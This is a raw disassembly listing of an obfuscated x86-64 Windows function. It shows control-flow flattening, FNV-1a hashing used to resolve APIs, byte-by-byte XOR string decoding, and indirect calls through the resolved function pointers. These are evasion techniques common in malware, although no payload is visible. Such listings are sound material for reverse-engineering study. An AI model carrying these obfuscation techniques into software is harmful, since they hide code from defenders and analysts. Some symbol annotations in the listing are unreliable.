mov dword [rbp + 0x150], edi
mov esi, 0x157dd825
nop dword [rax + rax]
cmp esi, 0x17c2820a
je 0x18006b281
cmp esi, 0x157dd825
jne 0x18006b260
mov dword [rbp + 0x120], 2
mov esi, 0x17c2820a
jmp 0x18006b260
mov esi, dword [rbp + 0x120]
movsx esi, sil
mov dword [rbp + 0x138], esi
mov esi, 0x38601d5f
jmp 0x18006b240
mov ebx, 0x774832aa
xor edx, edx
jmp 0x18006b160
mov rbx, qword [rbp + 0x128]
mov qword [rbp + 0x148], rbx
mov ebx, 0x220406db
jmp 0x18006b160
mov ebx, 0xbd8c8123
jmp 0x18006b160
mov edi, dword [rbp + 0x150]
sub edi, dword [rbp + 0x138]
mov byte [rax + rbx], dil
mov rbx, qword [rbp + 0x168]
add rbx, 1
mov qword [rbp + 0x140], rbx
mov ebx, 0x103835e5
jmp 0x18006b160
cmp ebx, 0x220406db
jne 0x18006b160
mov r15, qword [rbp + 0x148]
mov esi, 0x9304b30f
mov r8d, 0xed3b0916
mov r9d, 0xde9741b
mov r10d, 0x45d558a
mov r11d, 0xb18d2356
mov r14d, 0xec989665
jmp 0x18006b350
movsxd rbx, ecx
xor rbx, qword [rbp + 0x168]
movabs rax, 0x100000001b3
imul rbx, rax
mov edi, dword [rbp + 0x128]
add edi, 1
mov esi, 0xc46bd60d
cmp esi, 0xec989664
jle 0x18006b3b0
cmp esi, 0xde9741a
jle 0x18006b410
cmp esi, 0x4040a63f
jg 0x18006b499
cmp esi, 0xde9741b
je 0x18006b562
cmp esi, 0x23777f42
je 0x18006b579
cmp esi, 0x34fd6d6d
jne 0x18006b350
cmp byte [rbp + 0x118], 0
mov esi, 0xa8588bcc
cmovne esi, r11d
jmp 0x18006b350
cmp esi, 0xb3b07733
jle 0x18006b450
cmp esi, 0xc86312b3
jle 0x18006b4cd
cmp esi, 0xc86312b4
je 0x18006b32a
cmp esi, 0xcaf004ba
je 0x18006b583
cmp esi, 0xdf0d33c4
jne 0x18006b350
mov esi, 0xc46bd60d
xor edi, edi
movabs rbx, 0xcbf29ce484222325
jmp 0x18006b350
cmp esi, 0xfa416f8f
jle 0x18006b50e
cmp esi, 0xfa416f90
je 0x18006b5b1
cmp esi, 0x45d558a
je 0x18006b5c1
cmp esi, 0xc942d64
jne 0x18006b350
mov esi, 0xcaf004ba
xor edx, edx
jmp 0x18006b350
cmp esi, 0xa8588bcb
jle 0x18006b540
cmp esi, 0xa8588bcc
je 0x18006b5db
cmp esi, 0xa94a57ae
je 0x18006b5eb
cmp esi, 0xb18d2356
jne 0x18006b350
mov eax, dword [rbp + 0x150]
or eax, 0x20
mov dword [rbp + 0x138], eax
mov esi, 0xfa416f90
jmp 0x18006b350
cmp esi, 0x4040a640
je 0x18006b5f5
cmp esi, 0x494b1080
je 0x18006b5ff
cmp esi, 0x6238ad6b
jne 0x18006b350
mov esi, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x18006b350
cmp esi, 0xb3b07734
je 0x18006b614
cmp esi, 0xc46bd60d
jne 0x18006b66f
mov dword [rbp + 0x128], edi
mov qword [rbp + 0x168], rbx
mov esi, dword [rbp + 0x120]
mov eax, dword [rbp + 0x128]
cmp eax, esi
mov esi, 0xc5d9b945
cmovb esi, r9d
jmp 0x18006b350
cmp esi, 0xec989665
je 0x18006b63b
cmp esi, 0xed3b0916
jne 0x18006b350
mov eax, dword [rbp + 0x150]
cmp eax, 0x5b
setl byte [rbp + 0x118]
mov esi, 0x34fd6d6d
jmp 0x18006b350
cmp esi, 0x8051c795
je 0x18006b654
cmp esi, 0x9304b30f
jne 0x18006b350
mov esi, 0xc942d64
jmp 0x18006b350
mov eax, dword [rbp + 0x128]
mov qword [rbp + 0x148], rax
mov esi, 0x8051c795
jmp 0x18006b350
mov esi, 0xdf0d33c4
jmp 0x18006b350
mov dword [rbp + 0x120], edx
mov esi, dword [rbp + 0x120]
movsx esi, byte [r15 + rsi]
mov dword [rbp + 0x11c], esi
mov esi, dword [rbp + 0x11c]
cmp esi, 0x1f
mov esi, 0xa94a57ae
cmovg esi, r10d
jmp 0x18006b350
mov esi, 0xc86312b4
mov ecx, dword [rbp + 0x138]
jmp 0x18006b350
mov esi, dword [rbp + 0x11c]
cmp esi, 0x7f
setl byte [rbp + 0x137]
mov esi, 0x494b1080
jmp 0x18006b350
mov esi, 0xc86312b4
mov ecx, dword [rbp + 0x150]
jmp 0x18006b350
mov esi, 0x23777f42
jmp 0x18006b350
mov esi, 0x6238ad6b
jmp 0x18006b350
cmp byte [rbp + 0x137], 0
mov esi, 0xa94a57ae
cmovne esi, r14d
jmp 0x18006b350
mov rax, qword [rbp + 0x140]
movsx eax, byte [rax]
mov dword [rbp + 0x150], eax
mov eax, dword [rbp + 0x150]
cmp eax, 0x40
mov esi, 0xa8588bcc
cmovg esi, r8d
jmp 0x18006b350
mov esi, dword [rbp + 0x120]
add esi, 1
mov dword [rbp + 0x15c], esi
mov esi, 0x4040a640
jmp 0x18006b350
mov rax, qword [rbp + 0x148]
add rax, r15
mov qword [rbp + 0x140], rax
mov esi, 0xb3b07734
jmp 0x18006b350
cmp esi, 0xc5d9b945
jne 0x18006b350
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov r14, rax
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x138]
mov byte [rcx], 0x2b
mov rcx, qword [rbp + 0x138]
mov dword [rbp + 0x140], 0x47
mov qword [rbp + 0x168], rax
mov edx, 0xfdd7915a
nop
cmp edx, 0x7df01982
je 0x18006b6f7
cmp edx, 0xfdd7915a
jne 0x18006b6d0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x7df01982
jmp 0x18006b6d0
mov edx, 0x18f105ad
nop dword [rax]
cmp edx, 0x203d7e67
je 0x18006b72c
cmp edx, 0x18f105ad
jne 0x18006b700
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x203d7e67
jmp 0x18006b700
mov dl, byte [rbp + 0x168]
mov byte [rcx + 1], dl
mov dword [rbp + 0x140], 0x65
mov qword [rbp + 0x168], rax
mov edx, 0xfdd7915a
nop dword [rax + rax]
cmp edx, 0x7df01982
je 0x18006b777
cmp edx, 0xfdd7915a
jne 0x18006b750
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x7df01982
jmp 0x18006b750
mov edx, 0x18f105ad
nop dword [rax]
cmp edx, 0x203d7e67
je 0x18006b7ac
cmp edx, 0x18f105ad
jne 0x18006b780
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x203d7e67
jmp 0x18006b780
mov dl, byte [rbp + 0x168]
mov byte [rcx + 2], dl
mov dword [rbp + 0x140], 0x74
mov qword [rbp + 0x168], rax
mov edx, 0xfdd7915a
nop dword [rax + rax]
cmp edx, 0x7df01982
je 0x18006b7f7
cmp edx, 0xfdd7915a
jne 0x18006b7d0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x7df01982
jmp 0x18006b7d0
mov edx, 0x18f105ad
nop dword [rax]
cmp edx, 0x203d7e67
je 0x18006b82c
cmp edx, 0x18f105ad
jne 0x18006b800
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x203d7e67
jmp 0x18006b800
mov dl, byte [rbp + 0x168]
mov byte [rcx + 3], dl
mov dword [rbp + 0x140], 0x43
mov qword [rbp + 0x168], rax
mov edx, 0xfdd7915a
nop dword [rax + rax]
cmp edx, 0x7df01982
je 0x18006b877
cmp edx, 0xfdd7915a
jne 0x18006b850
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x7df01982
jmp 0x18006b850
mov edx, 0x18f105ad
nop dword [rax]
cmp edx, 0x203d7e67
je 0x18006b8ac
cmp edx, 0x18f105ad
jne 0x18006b880
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x203d7e67
jmp 0x18006b880
mov dl, byte [rbp + 0x168]
mov byte [rcx + 4], dl
mov dword [rbp + 0x140], 0x75
mov qword [rbp + 0x168], rax
mov edx, 0xfdd7915a
nop dword [rax + rax]
cmp edx, 0x7df01982
je 0x18006b8f7
cmp edx, 0xfdd7915a
jne 0x18006b8d0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x7df01982
jmp 0x18006b8d0
mov edx, 0x18f105ad
nop dword [rax]
cmp edx, 0x203d7e67
je 0x18006b92c
cmp edx, 0x18f105ad
jne 0x18006b900
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x203d7e67
jmp 0x18006b900
mov dl, byte [rbp + 0x168]
mov byte [rcx + 5], dl
add rcx, 6
mov qword [rbp + 0x120], rcx
lea rcx, [0x1800df936]
mov qword [rbp + 0x128], rcx
mov ebx, 0x6785750f
mov ecx, 0x7d2d00fe
nop dword [rax + rax]
cmp ebx, 0x795d221e
jle 0x18006b990
cmp ebx, 0x795d221f
je 0x18006bad7
cmp ebx, 0x7d2d00fe
jne 0x18006b960
jmp 0x18006c017
cmp ebx, 0x1b507b8
je 0x18006baf2
cmp ebx, 0x6785750f
jne 0x18006b960
mov rbx, qword [rbp + 0x128]
movsx ebx, byte [rbx]
mov dword [rbp + 0x150], ebx
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
cmp ebx, 0x7df01982
je 0x18006b9e7
cmp ebx, 0xfdd7915a
jne 0x18006b9c0
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006b9c0
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006ba1e
cmp ebx, 0x18f105ad
jne 0x18006b9f0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006b9f0
mov bl, byte [rbp + 0x168]
mov rdi, qword [rbp + 0x120]
mov byte [rdi], bl
mov rbx, qword [rbp + 0x120]
add rbx, 1
mov qword [rbp + 0x148], rbx
mov dword [rbp + 0x150], WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop word cs:[rax + rax]
nop
cmp ebx, 0x7df01982
je 0x18006ba87
cmp ebx, 0xfdd7915a
jne 0x18006ba60
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006ba60
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006babe
cmp ebx, 0x18f105ad
jne 0x18006ba90
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006ba90
mov bl, byte [rbp + 0x168]
mov rdi, qword [rbp + 0x148]
mov byte [rdi], bl
mov ebx, 0x1b507b8
jmp 0x18006b960
mov byte [rdx], 0
add rdx, 1
cmp rdx, qword [rbp + 0x140]
mov ebx, 0x795d221f
cmove ebx, ecx
jmp 0x18006b960
mov rdx, qword [rbp + 0x148]
mov dword [rbp + 0x150], 0x65
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop
cmp ebx, 0x7df01982
je 0x18006bb37
cmp ebx, 0xfdd7915a
jne 0x18006bb10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bb10
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bb6e
cmp ebx, 0x18f105ad
jne 0x18006bb40
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bb40
mov bl, byte [rbp + 0x168]
mov byte [rdx + 1], bl
mov dword [rbp + 0x150], WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bbb7
cmp ebx, 0xfdd7915a
jne 0x18006bb90
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bb90
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bbee
cmp ebx, 0x18f105ad
jne 0x18006bbc0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bbc0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 2], bl
mov dword [rbp + 0x150], 0x74
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bc37
cmp ebx, 0xfdd7915a
jne 0x18006bc10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bc10
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bc6e
cmp ebx, 0x18f105ad
jne 0x18006bc40
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bc40
mov bl, byte [rbp + 0x168]
mov byte [rdx + 3], bl
mov dword [rbp + 0x150], 0x50
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bcb7
cmp ebx, 0xfdd7915a
jne 0x18006bc90
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bc90
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bcee
cmp ebx, 0x18f105ad
jne 0x18006bcc0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bcc0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 4], bl
mov dword [rbp + 0x150], WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bd37
cmp ebx, 0xfdd7915a
jne 0x18006bd10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bd10
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bd6e
cmp ebx, 0x18f105ad
jne 0x18006bd40
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bd40
mov bl, byte [rbp + 0x168]
mov byte [rdx + 5], bl
mov dword [rbp + 0x150], WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bdb7
cmp ebx, 0xfdd7915a
jne 0x18006bd90
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bd90
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bdee
cmp ebx, 0x18f105ad
jne 0x18006bdc0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bdc0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 6], bl
mov dword [rbp + 0x150], 0x63
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006be37
cmp ebx, 0xfdd7915a
jne 0x18006be10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006be10
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006be6e
cmp ebx, 0x18f105ad
jne 0x18006be40
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006be40
mov bl, byte [rbp + 0x168]
mov byte [rdx + 7], bl
mov dword [rbp + 0x150], 0x65
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006beb7
cmp ebx, 0xfdd7915a
jne 0x18006be90
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006be90
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006beee
cmp ebx, 0x18f105ad
jne 0x18006bec0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bec0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 8], bl
mov dword [rbp + 0x150], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bf37
cmp ebx, 0xfdd7915a
jne 0x18006bf10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bf10
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bf6e
cmp ebx, 0x18f105ad
jne 0x18006bf40
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bf40
mov bl, byte [rbp + 0x168]
mov byte [rdx + 9], bl
mov dword [rbp + 0x150], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0xfdd7915a
nop dword [rax]
cmp ebx, 0x7df01982
je 0x18006bfb7
cmp ebx, 0xfdd7915a
jne 0x18006bf90
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x7df01982
jmp 0x18006bf90
mov ebx, 0x18f105ad
nop dword [rax]
cmp ebx, 0x203d7e67
je 0x18006bfee
cmp ebx, 0x18f105ad
jne 0x18006bfc0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x203d7e67
jmp 0x18006bfc0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 0xa], bl
add rdx, 0xb
mov rbx, qword [rbp + 0x138]
add rbx, 0x13
mov qword [rbp + 0x140], rbx
mov ebx, 0x795d221f
jmp 0x18006b960
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call fcn.180072910
add rsp, 0x20
mov esi, 0x9304b30f
mov r8d, 0xed3b0916
mov r9d, 0xde9741b
mov r10d, 0x45d558a
mov r11d, 0xb18d2356
mov r15d, 0xec989665
jmp 0x18006c080
movsxd rbx, r12d
xor rbx, qword [rbp + 0x168]
movabs rcx, 0x100000001b3
imul rbx, rcx
mov edi, dword [rbp + 0x128]
add edi, 1
mov esi, 0xc46bd60d
nop word cs:[rax + rax]
cmp esi, 0xec989664
jle 0x18006c0e0
cmp esi, 0xde9741a
jle 0x18006c140
cmp esi, 0x4040a63f
jg 0x18006c1c9
cmp esi, 0xde9741b
je 0x18006c292
cmp esi, 0x23777f42
je 0x18006c2a9
cmp esi, 0x34fd6d6d
jne 0x18006c080
cmp byte [rbp + 0x118], 0
mov esi, 0xa8588bcc
cmovne esi, r11d
jmp 0x18006c080
cmp esi, 0xb3b07733
jle 0x18006c180
cmp esi, 0xc86312b3
jle 0x18006c1fd
cmp esi, 0xc86312b4
je 0x18006c050
cmp esi, 0xcaf004ba
je 0x18006c2b3
cmp esi, 0xdf0d33c4
jne 0x18006c080
mov esi, 0xc46bd60d
xor edi, edi
movabs rbx, 0xcbf29ce484222325
jmp 0x18006c080
cmp esi, 0xfa416f8f
jle 0x18006c23e
cmp esi, 0xfa416f90
je 0x18006c2e0
cmp esi, 0x45d558a
je 0x18006c2f1
cmp esi, 0xc942d64
jne 0x18006c080
mov esi, 0xcaf004ba
xor edx, edx
jmp 0x18006c080
cmp esi, 0xa8588bcb
jle 0x18006c270
cmp esi, 0xa8588bcc
je 0x18006c30b
cmp esi, 0xa94a57ae
je 0x18006c31c
cmp esi, 0xb18d2356
jne 0x18006c080
mov ecx, dword [rbp + 0x150]
or ecx, 0x20
mov dword [rbp + 0x138], ecx
mov esi, 0xfa416f90
jmp 0x18006c080
cmp esi, 0x4040a640
je 0x18006c326
cmp esi, 0x494b1080
je 0x18006c330
cmp esi, 0x6238ad6b
jne 0x18006c080
mov esi, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x18006c080
cmp esi, 0xb3b07734
je 0x18006c345
cmp esi, 0xc46bd60d
jne 0x18006c3a0
mov dword [rbp + 0x128], edi
mov qword [rbp + 0x168], rbx
mov esi, dword [rbp + 0x120]
mov ecx, dword [rbp + 0x128]
cmp ecx, esi
mov esi, 0xc5d9b945
cmovb esi, r9d
jmp 0x18006c080
cmp esi, 0xec989665
je 0x18006c36c
cmp esi, 0xed3b0916
jne 0x18006c080
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x5b
setl byte [rbp + 0x118]
mov esi, 0x34fd6d6d
jmp 0x18006c080
cmp esi, 0x8051c795
je 0x18006c385
cmp esi, 0x9304b30f
jne 0x18006c080
mov esi, 0xc942d64
jmp 0x18006c080
mov ecx, dword [rbp + 0x128]
mov qword [rbp + 0x148], rcx
mov esi, 0x8051c795
jmp 0x18006c080
mov esi, 0xdf0d33c4
jmp 0x18006c080
mov dword [rbp + 0x120], edx
mov esi, dword [rbp + 0x120]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0x11c], esi
mov esi, dword [rbp + 0x11c]
cmp esi, 0x1f
mov esi, 0xa94a57ae
cmovg esi, r10d
jmp 0x18006c080
mov esi, 0xc86312b4
mov r12d, dword [rbp + 0x138]
jmp 0x18006c080
mov esi, dword [rbp + 0x11c]
cmp esi, 0x7f
setl byte [rbp + 0x137]
mov esi, 0x494b1080
jmp 0x18006c080
mov esi, 0xc86312b4
mov r12d, dword [rbp + 0x150]
jmp 0x18006c080
mov esi, 0x23777f42
jmp 0x18006c080
mov esi, 0x6238ad6b
jmp 0x18006c080
cmp byte [rbp + 0x137], 0
mov esi, 0xa94a57ae
cmovne esi, r15d
jmp 0x18006c080
mov rcx, qword [rbp + 0x140]
movsx ecx, byte [rcx]
mov dword [rbp + 0x150], ecx
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x40
mov esi, 0xa8588bcc
cmovg esi, r8d
jmp 0x18006c080
mov esi, dword [rbp + 0x120]
add esi, 1
mov dword [rbp + 0x15c], esi
mov esi, 0x4040a640
jmp 0x18006c080
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov qword [rbp + 0x140], rcx
mov esi, 0xb3b07734
jmp 0x18006c080
cmp esi, 0xc5d9b945
jne 0x18006c080
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
call rax
mov rcx, rax
xor edx, edx
call r14
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp]
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x998]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800ba080
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x9a0]
lea rsp, [rbp + 0x9b8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret